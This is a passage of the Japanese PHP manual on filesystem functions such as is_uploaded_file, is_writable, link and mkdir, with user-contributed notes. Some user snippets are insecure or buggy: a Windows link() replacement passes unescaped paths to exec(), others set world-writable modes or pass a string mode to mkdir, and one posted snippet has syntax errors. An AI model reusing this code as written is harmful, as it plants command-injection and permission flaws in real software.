Sometimes in situations where file_exists fails (returns false even though the file does exist) stat will work.


HTTP POST でアップロードされたファイルかどうかを調べる

  • ≪ is_readable
  • is_writable ≫
  • PHP Manual
  • ファイルシステム 関数
  • HTTP POST でアップロードされたファイルかどうかを調べる

is_uploaded_file

(PHP 4 >= 4.0.3, PHP 5, PHP 7, PHP 8)

is_uploaded_file — HTTP POST でアップロードされたファイルかどうかを調べる

説明

is_uploaded_file ( string $filename ) : bool

filename という名前のファイルが HTTP POST によりアップロードされたものである場合に true を返します。 悪意のあるユーザーがスクリプトをだまして、 本来見られてはいけないはずのファイル (/etc/passwd など) にアクセスすることを防止したい場合に、この関数は有用です。

この種の確認は、アップロードされたファイルに関して何でもできる場合には、 その内容をユーザー、または同じシステム上の他のユーザーにさえ 暴かれる可能性があるため、特に重要です。

適切に動作させるため、関数 is_uploaded_file() は $_FILES['userfile']['tmp_name'] のような引数を必要とします。 アップロードされたファイルのクライアントマシン上での名前 $_FILES['userfile']['name'] では動作しません。

パラメータ

filename

調べたいファイル名。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 is_uploaded_file() の例

<?php

if (is_uploaded_file($_FILES['userfile']['tmp_name'])) {
   echo "ファイル ". $_FILES['userfile']['name'] ." のアップロードに成功しました。\n";
   echo "その中身を表示します\n";
   readfile($_FILES['userfile']['tmp_name']);
} else {
   echo "おそらく何らかの攻撃を受けました。";
   echo "ファイル名 '". $_FILES['userfile']['tmp_name'] . "'.";
}

?>

参考

  • move_uploaded_file() - アップロードされたファイルを新しい位置に移動する
  • $_FILES
  • 簡単な使用例については ファイルアップロードの処理

User Contributed Notes

Robert Lerner 04-Dec-2015 03:42
To expand on what nicoSWD stated about this function.

Any script working with the temporary file $_FILES[]['tmp_name'] should call this function.

In any case where the script is modified to unlink(), rename() or otherwise modify the file that IS NOT move_uploaded_file() will not have the upload checked.

Likewise, most file operations are cached in PHP, therefore there should be minimal performance hit running is_uploaded_file before move_uploaded_file, since it will usually used a cached result for the latter.

The security benefits outweigh the microsecond difference in performance in any event, and should universally be used as soon as the $_FILES array is first entered into an application. While there may not be an immediate issue, code evolves and could quickly change this fact.
nicoSWD 28-Nov-2013 04:39
Note that calling this function before move_uploaded_file() is not necessary, as it does the exact same checks already. It provides no extra security. Only when you're trying to use an uploaded file for something other than moving it to a new location.

Reference:
https://github.com/php/php-src/blob/master/ext/standard/basic_functions.c#L5796
Anonymous 07-Oct-2013 11:08
Here is my code for file handler, i hope it help to all:

First a class to handler file upload:
<?php
    define('UPLOAD_PATH', 'upload/');
    define('MAXIMUM_FILESIZE', '10485760'); //10 MB
    class FileHandler
    {
        private $file_types = array('xls', 'xlsx');
        private $files = null;
        private $filename_sanitized = null;
        private $filename_original = null;

        public function __construct($files)
        {
            $this->files = $files;
        }

        public function setFileTypes($fileTypes = array())
        {
            $this->file_types = $fileTypes;
            return $this;
        }

        public function setFileNameOriginal($filename)
        {
            $this->filename_original = $filename;
        }

        public function fileNameOriginal()
        {
            return $this->filename_original;
        }

        public function sanitize($cursor = 0)
        {
            $this->setFileNameOriginal($this->files['name'][$cursor]);

            $safe_filename = preg_replace(
                    array("/\s+/", "/[^-\.\w]+/"),
                    array("_", ""),
                    trim($this->fileNameOriginal()));
            $this->filename_sanitized  = md5($safe_filename.time()).$safe_filename;
            return $this;
        }

        public function fileSize($cursor = 0)
        {
            return $this->files['size'][$cursor];
        }

        public function extensionValid()
        {
            $fileTypes = implode('|', $this->file_types);
            $rEFileTypes = "/^\.($fileTypes){1}$/i";
            if(!preg_match($rEFileTypes, strrchr($this->filename_sanitized, '.')))
                throw new Exception('No se pudo encontrar el tipo de archivo apropiado');

            return $this;
        }

        public function isUploadedFile($cursor)
        {
            if(!is_uploaded_file($this->files['tmp_name'][$cursor]))
            {
                throw new Exception("No se obtuvo la carga del archivo");
            }
        }

        public function saveUploadedFile($cursor)
        {
            if(!move_uploaded_file ($this->files['tmp_name'][$cursor],UPLOAD_PATH.$this->filename_sanitized))
                throw new Exception("No se consigui&oacute; guardar el archivo");
        }

        public function fileNameSanitized()
        {
            return $this->filename_sanitized;
        }

        public function uploadFile($cursor = 0)
        {
            $this->isUploadedFile($cursor);
            if ($this->sanitize($cursor)->fileSize($cursor) <= MAXIMUM_FILESIZE)
            {
                $this->extensionValid()->saveUploadedFile($cursor);
            }
            else
            {
                throw new Exception("El archivo es demasiado grande.");
            }
            return $name;
        }

    }

?>

Next a part of code to use the class

<?php
//form is submited  and detect that
if ($form_submited == 1)
{
    try
    {
                //i assume de input file is:
                /*
                       <input id="<?php echo EXCEL_FILE;?>[]" name="<?php echo EXCEL_FILE;?>[]" type="file"/>
                       where EXCEL_FILE is the constant:
                       define('EXCEL_FILE', 'excel_file');
                */
        $file = new FileHandler($_FILES['excel_file']);
        $inputFileName = $file->uploadFile()->fileNameSanitized();  // File to read
                ...

    }
    catch(Exception $e)
    {
        die('Error cargando archivo "'.($file->fileNameOriginal()).'": '.$e->getMessage());
    }

}
?>
uramihsayibok, gmail, com 12-Aug-2007 09:18
It isn't mentioned anywhere that I've seen, but $filename *is* case-sensitive on Windows.
It means that while C:\Windows\TEMP\php123.tmp may have been uploaded, C:\Windows\Temp\php123.tmp was not.

I found this out because I was using realpath() on the filename which 'fixed' the case (my Temp folder is in titlecase, not uppercase - thank you Vista).

Anyways, the problem was that PHP used %TEMP% to determine the destination for the uploaded file, and %TEMP% used the all-capitals version of the path. Changing it to use titlecase instead + restarting Apache fixed the problem.
YLearn 10-Oct-2005 10:42
Just looked at what I posted again and found several mistakes of the major and minor sort.  That's what I get for posting before I finish my coffee.  This should work better (i.e. should work in the first place):

<?php
   default: //a default error, just in case!  :)
       echo "There was a problem with your upload.";
       $err_msg = "Unrecognized file POST error: ".$HTTP_POST_FILES['userfile']['error'];
       if (!(strpos($err_msg, "\n") === false)) {
           $err_lines = explode("\n", $err_msg);
           foreach ($err_lines as $msg) {
               error_log($msg, 0);
           }
       } else {
           error_log($err_msg, 0);
       }
       break;
?>
YLearn 10-Oct-2005 09:41
Regarding topcat's suggested change, I am split on doing that.  I don't like showing users errors that may give them more information than they should have (or show that I haven't provided for that particular error).  But I want to know when there are errors that fall to the default case so I can fix my code.  What I will typically do is write them to the error log something like this modification to metaltoad's post (takes into account the possibility of multi-line errors which error_log doesn't handle well):

<?php
    default: //a default error, just in case!  :)
        echo "There was a problem with your upload.";
        $err_msg = "Unrecognized file POST error: ".$HTTP_POST_FILES['userfile']['error'];
        if ((strpos($err_msg, "\n") === 0) {
            $err_lines = explode("\n", $err_msg);
            foreach ($err_lines as $msg) {
                error_log($msg, 0);
            }
        } else {
            error_log($err_msg, 0)
        }
        break;
?>
juk 18-Sep-2005 03:26
If your $_FILES and $_POST are empty, this can be due to
- the limit set by post_max_size in php.ini
- the limit set by upload_max_filesize in php.ini

Unfortunately the first limit is not reported back as an error code in $_FILES['error'].
topcat 14-Jul-2005 04:56
Just a little tip to info at metaltoad's comment:
It's good practice to print error code when it can't be recognized:

   default: //print the error code
     echo "Unrecognized error code: ".$HTTP_POST_FILES['userfile']['error'];
     break;
23-Apr-2005 12:29
make use u got the enctype="multipart/form-data" in ur form tag otrherwise nothing works... took me two hours to find that out.......
beer UNDRSCR nomaed AT hotmail DOT com 15-Apr-2005 04:21
Regarding the comment of info at metaltoad dot net
@ 19-Feb-2003 04:03

<?php
// ... yada yada yada...
preg_match("/.exe$|.com$|.bat$|.zip$|.doc$|.txt$/i", $HTTP_POST_FILES['userfile']['name']))
// ... yada yada yada...
?>

This will not work. It will, but not correctly.
You shuld escape the . (dot) for the preg function,
and escape the $ (dollar) sign for PHP, or use
single-quoted string...

The syntax should be (much shorter and neater):

<?php
// ... yada yada yada...
preg_match('/\\.(exe|com|bat|zip|doc|txt)$/i', $_FILES['userfile']['name']))
// ... yada yada yada...
?>
lots2learn at gmail dot com 06-Feb-2005 09:13
if files are not getting uploaded and $_FILE array is empty ..and your code looks fine..then check php.ini file..the file_uploads option should be turned 'On' to allow file uploads. Turn it on and restart apache to have effect .
info at metaltoad dot net 19-Feb-2003 01:03
As of PHP 4.2.0, rather than automatically assuming a failed file uploaded is a file attack, you can use the error code associated with the file upload to check and see why the upload failed.  This error code is stored in the userfile array (ex: $HTTP_POST_FILES['userfile']['error']).

Here's an example of a switch:

if (is_uploaded_file($userfile)) {

  //include code to copy tmp file to final location here...

}else{
  switch($HTTP_POST_FILES['userfile']['error']){
    case 0: //no error; possible file attack!
      echo "There was a problem with your upload.";
      break;
    case 1: //uploaded file exceeds the upload_max_filesize directive in php.ini
      echo "The file you are trying to upload is too big.";
      break;
    case 2: //uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the html form
      echo "The file you are trying to upload is too big.";
      break;
    case 3: //uploaded file was only partially uploaded
      echo "The file you are trying upload was only partially uploaded.";
      break;
    case 4: //no file was uploaded
      echo "You must select an image for upload.";
      break;
    default: //a default error, just in case!  :)
      echo "There was a problem with your upload.";
      break;
}

Additionally, by testing the 'name' element of the file upload array, you can filter out unwanted file types (.exe, .zip, .bat, etc).  Here's an example of a filter that can be added before testing to see if the file was uploaded:

//rejects all .exe, .com, .bat, .zip, .doc and .txt files
if(preg_match("/.exe$|.com$|.bat$|.zip$|.doc$|.txt$/i", $HTTP_POST_FILES['userfile']['name'])){
  exit("You cannot upload this type of file.");
}

//if file is not rejected by the filter, continue normally
if (is_uploaded_file($userfile)) {

/*rest of code*/
itadmin at itmusicweb dot co dot uk 28-Nov-2002 06:11
The example brought out does not work as supposed to:

function is_uploaded_file($filename) {
    if (!$tmp_file = get_cfg_var('upload_tmp_dir')) {
        $tmp_file = dirname(tempnam('', ''));
    }
    $tmp_file .= '/' . basename($filename);
    /* User might have trailing slash in php.ini... */
    return (ereg_replace('/+', '/', $tmp_file) == $filename);
}

It works only with files under ....4 or 5 kb, other files automatically get the size of 0 bytes. So something must be wrong here. Built-in is_uploaded_file() works good.
troels at NO dot SPAM dot webcode dot dk 14-Oct-2002 12:44
to get the example to work on windows, youll have to add a line, that replaces backslashes with slashes. eg.: $filename = str_replace ("\\", "/", $filename);

also, as someone mentioned, globalizing $HTTP_POST_FILES is a good idea ...

<pre>
/* Userland test for uploaded file. */
function is_uploaded_file($filename)
{
    global $HTTP_POST_FILES;
    if (!$tmp_file = get_cfg_var("upload_tmp_dir")) {
        $tmp_file = dirname(tempnam("", ""));
    }
    $tmp_file .= "/" . basename($filename);
    /* User might have trailing slash in php.ini... */
    // fix for win platform
    $filename = str_replace ("\\", "/", $filename);
    return (ereg_replace("/+", "/", $tmp_file) == $filename);
}
</pre>


ファイルが書き込み可能かどうかを調べる

  • ≪ is_uploaded_file
  • is_writeable ≫
  • PHP Manual
  • ファイルシステム 関数
  • ファイルが書き込み可能かどうかを調べる

is_writable

(PHP 4, PHP 5, PHP 7, PHP 8)

is_writable — ファイルが書き込み可能かどうかを調べる

説明

is_writable ( string $filename ) : bool

filenameが存在して、かつそれが書き込み可能であれば trueを返します。引数filenameはディレクトリ名とすることができ、 ディレクトリが書き込み可能であることを調べることが可能です。

PHP は、Web サーバーが実行されているユーザー ID('nobody' が多い) でファイルにアクセスすることを覚えておいてください。 セーフモードの制限は働きません。

パラメータ

filename

調べたいファイル名。

返り値

filename が存在して書き込み可能な場合に true を返します。

例

例1 is_writable() の例

<?php
$filename = 'test.txt';
if (is_writable($filename)) {
    echo 'このファイルは書き込み可能です';
} else {
    echo 'このファイルは書き込みできません';
}
?>

エラー / 例外

失敗したときは E_WARNING が発生します。

注意

注意: この関数の結果は キャッシュされます。詳細は、clearstatcache() を参照してください。

ヒント

PHP 5.0.0 以降、この関数は、 何らかの URL ラッパーと組合せて使用することができます。 どのラッパーが stat() ファミリーをサポートしているかを調べるには サポートするプロトコル/ラッパー を参照してください。

参考

  • is_readable() - ファイルが存在し、読み込み可能であるかどうかを知る
  • file_exists() - ファイルまたはディレクトリが存在するかどうか調べる
  • fwrite() - バイナリセーフなファイル書き込み処理

User Contributed Notes

helvete at bahno dot net 09-Feb-2017 01:58
Be warned, that is_writable returns false for non-existent files, although they can be written to the queried path.
arikan134 at gmail dot com 17-Jan-2016 12:04
Check director is writable recursively. to return true, all of directory contents  must be writable

<?php
function is_writable_r($dir) {
    if (is_dir($dir)) {
        if(is_writable($dir)){
            $objects = scandir($dir);
            foreach ($objects as $object) {
                if ($object != "." && $object != "..") {
                    if (!is_writable_r($dir."/".$object)) return false;
                    else continue;
                }
            }
            return true;
        }else{
            return false;
        }

    }else if(file_exists($dir)){
        return (is_writable($dir));

    }
}

?>
shkkmo at gmail dot com 29-Jan-2015 02:32
I'd like to also clarify a point on this. Even if you see 777 permissions for the directly, you may need to check your ACL, since your server's group might not have write permissions there.
samuel dot zallocco at univaq dot it 23-Jul-2014 12:57
Check if a directory is writable. Work also on mounted SMB shares:

function isWritablePath($home, $xpath) {
    $isOK = false;
    $path = trim($xpath);
    if ( ($path!="") && (strpos($path,$home)!==false)  && is_dir($path) && is_writable($path) ) {
        $tmpfile = "mPC_".uniqid(mt_rand()).'.writable';
        $fullpathname = str_replace('//','/',$path."/".$tmpfile);
        $fp = @fopen($fullpathname,"w");
        if ($fp !== false) {
            $isOK = true;
        }
        @fclose($fp);
        @unlink($fullpathname);
    }
    return $isOK;

}
yury dot gugnin at gmail dot com 04-Mar-2014 11:34
function is_writable('ftp://user.....') always return false. I can create/delete files, but can check is writable. Is this bug or php feature :)?
gr 05-Oct-2010 03:32
The results of this function seems to be not cached :
Tested on linux and windows

<?php
chmod($s_pathFichier, 0400);
echo'<pre>';var_dump(is_writable($s_pathFichier));echo'</pre>';
chmod($s_pathFichier, 04600);
echo'<pre>';var_dump(is_writable($s_pathFichier));echo'</pre>';
exit;
?>
starrychloe at yahoo dot com 10-Feb-2008 05:50
To Darek and F Dot: About group permissions, there is this note in the php.ini file:
; By default, Safe Mode does a UID compare check when
; opening files. If you want to relax this to a GID compare,
; then turn on safe_mode_gid.
safe_mode_gid = Off
legolas558 d0t users dot sf dot net 02-Mar-2007 12:18
This is the latest version of is__writable() I could come up with.
It can accept files or folders, but folders should end with a trailing slash! The function attempts to actually write a file, so it will correctly return true when a file/folder can be written to when the user has ACL write access to it.

<?php
function is__writable($path) {
//will work in despite of Windows ACLs bug
//NOTE: use a trailing slash for folders!!!
//see http://bugs.php.net/bug.php?id=27609
//see http://bugs.php.net/bug.php?id=30931

    if ($path{strlen($path)-1}=='/') // recursively return a temporary file path
        return is__writable($path.uniqid(mt_rand()).'.tmp');
    else if (is_dir($path))
        return is__writable($path.'/'.uniqid(mt_rand()).'.tmp');
    // check tmp file for read/write capabilities
    $rm = file_exists($path);
    $f = @fopen($path, 'a');
    if ($f===false)
        return false;
    fclose($f);
    if (!$rm)
        unlink($path);
    return true;
}
?>
legolas558 dot sourceforge comma net 13-Jul-2006 01:17
Since looks like the Windows ACLs bug "wont fix" (see http://bugs.php.net/bug.php?id=27609) I propose this alternative function:

<?php

function is__writable($path) {

if ($path{strlen($path)-1}=='/')
    return is__writable($path.uniqid(mt_rand()).'.tmp');

if (file_exists($path)) {
    if (!($f = @fopen($path, 'r+')))
        return false;
    fclose($f);
    return true;
}

if (!($f = @fopen($path, 'w')))
    return false;
fclose($f);
unlink($path);
return true;
}

?>

It should work both on *nix and Windows

NOTE: you must use a trailing slash to identify a directory
greg at gregwhitescarver dotcalm 07-Feb-2006 06:55
In response to Darek:

We have two servers: one running PHP 5.0.4 and Apache 1.3.33, the other running PHP 4.3.5 and Apache 1.3.27.  The PHP 4 server exhibits the behavior you are describing, with is_writable() returning 'false' even though the www user is in the group that owns the file, but the PHP 5 server is returning 'true.'
darek at fauxaddress dot com 31-Jan-2006 10:27
It appears that is_writable() does not check full permissions of a file to determine whether the current user can write to it.  For example, with Apache running as user 'www', and a member of the group 'wheel', is_writable() returns false on a file like

-rwxrwxr-x           root         wheel          /etc/some.file
JimmyNighthawk 12-Sep-2005 02:02
Regarding you might recognize your files on your web contructed by your PHP-scripts are grouped as NOBODY you can avoid this problem by setting up an FTP-Connection ("ftp_connect", "ftp_raw", etc.) and use methods like "ftp_fput" to create these [instead of giving out rights so you can use the usual "unsecure" way]. This will give the files created not the GROUP NOBODY - it will give out the GROUP your FTP-Connection via your FTP-Program uses, too.

Furthermore you might want to hash the password for the FTP-Connection - then check out:
http://dev.mysql.com/doc/mysql/en/Password_hashing.html
claude dot paroz at ne dot ch 06-Apr-2004 04:28
Under Windows, it only returns the read-only attribute status, not the actual permissions (ACL).
See http://bugs.php.net/bug.php?id=27609
agrenier at assertex dot com 02-Apr-2004 04:56
This file_write() function will give $filename the write permission before writing $content to it.

Note that many servers do not allow file permissions to be changed by the PHP user.

<?php
    function file_write($filename, &$content) {
        if (!is_writable($filename)) {
            if (!chmod($filename, 0666)) {
                 echo "Cannot change the mode of file ($filename)";
                 exit;
            };
        }
        if (!$fp = @fopen($filename, "w")) {
            echo "Cannot open file ($filename)";
            exit;
        }
        if (fwrite($fp, $content) === FALSE) {
            echo "Cannot write to file ($filename)";
            exit;
        }
        if (!fclose($fp)) {
            echo "Cannot close file ($filename)";
            exit;
        }
    }
?>


is_writable のエイリアス

  • ≪ is_writable
  • lchgrp ≫
  • PHP Manual
  • ファイルシステム 関数
  • is_writable のエイリアス

is_writeable

(PHP 4, PHP 5, PHP 7, PHP 8)

is_writeable — is_writable() のエイリアス

説明

この関数は次の関数のエイリアスです。 is_writable().

User Contributed Notes

hsh at autowise dot dk 12-Dec-2016 12:43
A tiny benefit of using is_writeable() instead of is_writable() is that is_writable() will pollute search results when searching source code for files containing the word "table".

Writeable is an alternative and not as frequently used (but still absolutely correct) spelling of writable.


シンボリックリンクのグループ所有権を変更する

  • ≪ is_writeable
  • lchown ≫
  • PHP Manual
  • ファイルシステム 関数
  • シンボリックリンクのグループ所有権を変更する

lchgrp

(PHP 5 >= 5.1.3, PHP 7, PHP 8)

lchgrp — シンボリックリンクのグループ所有権を変更する

説明

lchgrp ( string $filename , string|int $group ) : bool

シンボリックリンク filename のグループを group に変更しようと試みます。

スーバーユーザーは、 シンボリックリンクのグループを任意のものに変更できます。 その他のユーザーは、自分自身がメンバーの一員となっているグループにのみ変更できます。

パラメータ

filename

シンボリックリンクへのパス。

group

グループ名あるいはグループ番号。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 シンボリックリンクのグループの変更

<?php
$target = 'output.php';
$link = 'output.html';
symlink($target, $link);

lchgrp($link, 8);
?>

注意

注意: この関数では、 リモートファイル を 使用することはできません。これは、処理されるファイルがサーバーの ファイルシステムによりアクセスできる必要があるためです。

注意: この関数は Windows 環境にはまだ実装されていません。

参考

  • chgrp() - ファイルのグループを変更する
  • lchown() - シンボリックリンクの所有者を変更する
  • chown() - ファイルの所有者を変更する
  • chmod() - ファイルのモードを変更する

User Contributed Notes

There are no user contributed notes for this page.


シンボリックリンクの所有者を変更する

  • ≪ lchgrp
  • link ≫
  • PHP Manual
  • ファイルシステム 関数
  • シンボリックリンクの所有者を変更する

lchown

(PHP 5 >= 5.1.3, PHP 7, PHP 8)

lchown — シンボリックリンクの所有者を変更する

説明

lchown ( string $filename , string|int $user ) : bool

シンボリックリンク filename の所有者を user に変更しようと試みます。

シンボリックリンクの所有者を変更できるのは、スーパーユーザーのみです。

パラメータ

filename

ファイルへのパス。

user

ユーザー名あるいはユーザー番号。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 シンボリックリンクの所有者の変更

<?php
$target = 'output.php';
$link = 'output.html';
symlink($target, $link);

lchown($link, 8);
?>

注意

注意: この関数では、 リモートファイル を 使用することはできません。これは、処理されるファイルがサーバーの ファイルシステムによりアクセスできる必要があるためです。

注意: この関数は Windows 環境にはまだ実装されていません。

参考

  • chown() - ファイルの所有者を変更する
  • lchgrp() - シンボリックリンクのグループ所有権を変更する
  • chgrp() - ファイルのグループを変更する
  • chmod() - ファイルのモードを変更する

User Contributed Notes

There are no user contributed notes for this page.


ハードリンクを作成する

  • ≪ lchown
  • linkinfo ≫
  • PHP Manual
  • ファイルシステム 関数
  • ハードリンクを作成する

link

(PHP 4, PHP 5, PHP 7, PHP 8)

link — ハードリンクを作成する

説明

link ( string $target , string $link ) : bool

link() はハードリンクを作成します。

パラメータ

target

リンクの対象。

link

リンクの名前。

返り値

成功した場合に true を、失敗した場合に false を返します。

エラー / 例外

link が既に存在していたり、 target が存在しない場合には、 この関数は失敗し E_WARNING が発生します。

例

例1 シンプルなハードリンクの作成

<?php
$target = 'source.ext'; // これは、既存のファイル名です
$link = 'newfile.ext'; // これは、リンク先としたいファイル名です

link($target, $link);
?>

注意

注意: この関数では、 リモートファイル を 使用することはできません。これは、処理されるファイルがサーバーの ファイルシステムによりアクセスできる必要があるためです。

注意: Windows のみ: この関数を使用するには、 権限を昇格させたモード、あるいは UAC を無効にした状態で PHP を実行しなければなりません。

参考

  • symlink() - シンボリックリンクを作成する
  • readlink() - シンボリックリンク先を返す
  • linkinfo() - リンクに関する情報を取得する
  • unlink() - ファイルを削除する

User Contributed Notes

crashulater at virtualcrash dot com 14-Jul-2018 07:17
In at least php-5.3 (linux-2.6.38.6) a process owned by apache could make a link() in a directory owned by apache, to a file owned by webmaster to which it had group read permissions. In php-7.0 (linux-4.13.16) that results in a "permission denied". Either the target file must be owned by apache or one must use copy() instead (so that ownership changes to apache).
Anonymous 16-Oct-2009 01:54
to clarify:

in unix/linux:
hardlinks (by this function) cannot go across different filesystems.
softlinks can point anywhere.

in linux, hardlinking to directory is not permited.
Jasper Bekkers 02-Aug-2006 07:16
For a backup utility I needed link-like functionality on a windows system. As it isn't availible on windows, i tried to do it myself with the help of some tools. All you need is junction.exe from sysinternals in your %PATH%.

<?php
if(!function_exists('link')){ // Assume a windows system
    function link($target, $link){
        if(is_dir($target)){
            // junctions link to directories in windows
            exec("junction $link $target", $lines, $val);
            return 0 == $val;
        }elseif(is_file($target)){
            // Hardlinks link to files in windows
            exec("fsutil hardlink create $link $target", $lines, $val);
            return 0 == $val;
        }

        return false;
    }
}
?>

http://www.sysinternals.com/Utilities/Junction.html
Guilherme Garnier 25-Apr-2006 11:32
I noticed that, differently from Unix ln command, the second parameter can´t be a directory name, i.e., if you want to create a link with the same filename of the target file (obviously on different directories), you must specify the filename on the link parameter.

Example:
Unix ln command:
ln /dir1/file /dir2/   // ok, creates /dir2/file link

PHP link function:
link ("/dir1/file", "/dir2/");   // wrong, gives a "File exists" warning
link ("/dir1/file", "/dir2/file");   // ok, creates /dir2/file link


リンクに関する情報を取得する

  • ≪ link
  • lstat ≫
  • PHP Manual
  • ファイルシステム 関数
  • リンクに関する情報を取得する

linkinfo

(PHP 4, PHP 5, PHP 7, PHP 8)

linkinfo — リンクに関する情報を取得する

説明

linkinfo ( string $path ) : int|false

リンクに関する情報を取得します。

この関数を使用して (pathが指している) リンクが実際に存在するかどうかを、 (stat.h で定義されている S_ISLNK マクロと同じ方法で) チェックします。

パラメータ

path

リンクへのパス。

返り値

linkinfo()は、lstat システムコールで返された Unix C 言語の stat 構造体の st_dev フィールドを返します。 成功した場合は負でない数値を返します。 リンクが存在しない場合は -1 を返し、open.base_dir の違反が起きた場合は false を返します。

例

例1 linkinfo() の例

<?php

echo linkinfo('/vmlinuz'); // 835

?>

参考

  • symlink() - シンボリックリンクを作成する
  • link() - ハードリンクを作成する
  • readlink() - シンボリックリンク先を返す

User Contributed Notes

rjb at robertjbrown dot com 21-Feb-2012 01:14
I expected this function to return FALSE or 0 if a symbolic link did not exist (per the documentation above), but that's not what happened. Reading the man page for the Linux kerne's stat call here: http://www.kernel.org/doc/man-pages/online/pages/man2/stat.2.html it says this:

RETURN VALUE - On success, zero is returned.  On error, -1 is returned, and errno is set appropriately.

... which is what is happening in my case. I am doing a linkinfo('/path/to/file'); on a missing symlink, and I get back a value of -1. As we know, a value of -1 is not going to evaluate to a FALSE or 0.

My point - be careful with return values for missing symlinks.


ファイルあるいはシンボリックリンクの情報を取得する

  • ≪ linkinfo
  • mkdir ≫
  • PHP Manual
  • ファイルシステム 関数
  • ファイルあるいはシンボリックリンクの情報を取得する

lstat

(PHP 4, PHP 5, PHP 7, PHP 8)

lstat — ファイルあるいはシンボリックリンクの情報を取得する

説明

lstat ( string $filename ) : array|false

filename という名前のファイル、 またはシンボリックリンクの情報を得ます。

パラメータ

filename

ファイルあるいはシンボリックリンクへのパス。

返り値

lstat() が返す配列の内容については stat() のマニュアルをご覧ください。 この関数の動作は stat() 関数と同じですが、 パラメータ filename がシンボリックリンクであった場合に、 シンボリック先のファイルのステータスではなく、 シンボリックリンクのステータスが返されるところが異なります。

失敗時に false を返します。

例

例1 stat() と lstat() の比較

<?php
symlink('uploads.php', 'uploads');

// uploads.php と uploads の情報の比較
array_diff(stat('uploads'), lstat('uploads'));
?>

上の例の出力は、 たとえば以下のようになります。

ふたつのファイルの相違点が表示されます。

Array
(
    [ino] => 97236376
    [mode] => 33188
    [size] => 34
    [atime] => 1223580003
    [mtime] => 1223581848
    [ctime] => 1223581848
    [blocks] => 8
)

エラー / 例外

失敗したときは E_WARNING が発生します。

注意

注意: この関数の結果は キャッシュされます。詳細は、clearstatcache() を参照してください。

ヒント

PHP 5.0.0 以降、この関数は、 何らかの URL ラッパーと組合せて使用することができます。 どのラッパーが stat() ファミリーをサポートしているかを調べるには サポートするプロトコル/ラッパー を参照してください。

参考

  • stat() - ファイルに関する情報を取得する

User Contributed Notes

HP@SG 11-Nov-2020 06:47
Just for information and in reply to a previous message left 4 years ago by "salsi at icosaedro dot it" :

Files larger than 2 GiB can be handled on 64-bit Linux systems.

My test in a terminal is as follow (using <?php ;?> tags to colour the results for ease of reading) :

$ php -v

<?php
"
PHP 7.2.24-0ubuntu0.18.04.7 (cli) (built: Oct  7 2020 15:24:25) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies
    with Zend OPcache v7.2.24-0ubuntu0.18.04.7, Copyright (c) 1999-2018, by Zend Technologies
"
;?>

$ date ; dd if=/dev/zero of=/tmp/php_test_huge bs=1024K count=2100 ; date ; ls -l /tmp/php_test_huge

<?php
"
Wed Nov 11 15:35:46 +08 2020
2100+0 records in
2100+0 records out
2202009600 bytes (2.2 GB, 2.1 GiB) copied, 4.79192 s, 460 MB/s
Wed Nov 11 15:35:51 +08 2020
-rw-r--r-- 1 harold harold 2202009600 Nov 11 15:35 /tmp/php_test_huge
"
;?>

$ php -r 'var_dump(lstat("/tmp/php_test_huge"));'

<?php
"
array(26) {
  [0]=>
  int(2050)
  [1]=>
  int(19923027)
  [2]=>
  int(33188)
  [3]=>
  int(1)
  [4]=>
  int(1000)
  [5]=>
  int(1000)
  [6]=>
  int(0)
  [7]=>
  int(2202009600)
  [8]=>
  int(1605079647)
  [9]=>
  int(1605080149)
  [10]=>
  int(1605080149)
  [11]=>
  int(4096)
  [12]=>
  int(4300808)
  ["dev"]=>
  int(2050)
  ["ino"]=>
  int(19923027)
  ["mode"]=>
  int(33188)
  ["nlink"]=>
  int(1)
  ["uid"]=>
  int(1000)
  ["gid"]=>
  int(1000)
  ["rdev"]=>
  int(0)
  ["size"]=>
  int(2202009600)
  ["atime"]=>
  int(1605079647)
  ["mtime"]=>
  int(1605080149)
  ["ctime"]=>
  int(1605080149)
  ["blksize"]=>
  int(4096)
  ["blocks"]=>
  int(4300808)
}
"
;?>
salsi at icosaedro dot it 07-Jan-2016 07:29
This function fails and returns FALSE with files larger than 2 GB on Linux 32-bits (PHP 7.1.0-dev):

    $ dd if=/dev/zero of=/tmp/huge bs=1048576 count=2050
    $ php -r 'var_dump(lstat("/tmp/huge"));'
    --> Warning: lstat(): Lstat failed for /tmp/huge in Command line code on line 1

Window not tested. PHP 64-bits not tested.


ディレクトリを作る

  • ≪ lstat
  • move_uploaded_file ≫
  • PHP Manual
  • ファイルシステム 関数
  • ディレクトリを作る

mkdir

(PHP 4, PHP 5, PHP 7, PHP 8)

mkdir — ディレクトリを作る

説明

mkdir ( string $pathname , int $mode = 0777 , bool $recursive = false , resource $context = ? ) : bool

指定したディレクトリを作成します。

パラメータ

pathname

ディレクトリのパス。

mode

モードは 0777 がデフォルトです。 これは最も緩やかなアクセス制限を意味します。 モードに関する詳細は chmod() をご覧ください。

注意:

Windows では mode は無視されます。

モードを八進数で指定したくなることもあるかもしれません。 その場合は先頭にゼロをつける必要があります。 また、モードは、現在設定されている umask の影響も受けます。 umask を変更するには umask() を使用します。

recursive

pathname で、入れ子構造のディレクトリの作成を許可します。

context

注意: コンテキストのサポートは、 PHP 5.0.0 で追加されました。contexts の説明に関しては、 ストリーム を参照してください。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 mkdir() の例

<?php
mkdir("/path/to/my/dir", 0700);
?>

例2 mkdir() での recursive パラメータの使用例

<?php
// 作りたいフォルダ構造
$structure = './depth1/depth2/depth3/';

// 入れ子構造を作るには、$recursive パラメータを
// mkdir() に指定しなければなりません

if (!mkdir($structure, 0777, true)) {
    die('Failed to create folders...');
}

// ...
?>

エラー / 例外

ディレクトリが既に存在する場合は E_WARNING レベルのエラーが発生します。

ディレクトリの作成権限がない場合は E_WARNING レベルのエラーが発生します。

参考

  • rmdir() - ディレクトリを削除する

User Contributed Notes

mamedul.github.io 09-Mar-2021 11:18
To create nested folder In windows OS use suppressor @.

This suppressor will handle user type errors also.

$path = 'testpath\nested1\nested2\nested3\';
@mkdir( $path, '0777', TRUE);

Besides you can create a function-

function createMyDir( $path ){

    return @mkdir( $path, '0777', TRUE);

}
Chance Green 15-Jun-2020 10:49
Attempting to create a directory with a trailing space on Windows will result in a permission denied error.
info at cc-folio dot ru 04-Jun-2020 05:05
One use case:
<?php
function addDir($path){
